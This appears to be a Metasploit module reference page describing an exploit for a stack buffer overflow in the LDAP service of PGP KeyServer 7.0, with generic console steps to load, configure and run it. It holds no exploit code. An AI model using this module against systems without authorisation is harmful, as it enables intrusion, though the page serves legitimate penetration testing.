This module exploits a stack buffer overflow in the LDAP service that is part of the NAI PGP Enterprise product suite. This module was tested against PGP KeyServer v7.0. Due to space restrictions, egghunter is used to find our payload - therefore you may wish to adjust WfsDelay.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/ldap/pgp_keyserver7
msf exploit(pgp_keyserver7) > show targets
...targets...
msf exploit(pgp_keyserver7) > set TARGET < target-id >
msf exploit(pgp_keyserver7) > show options
...show and set options...
msf exploit(pgp_keyserver7) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security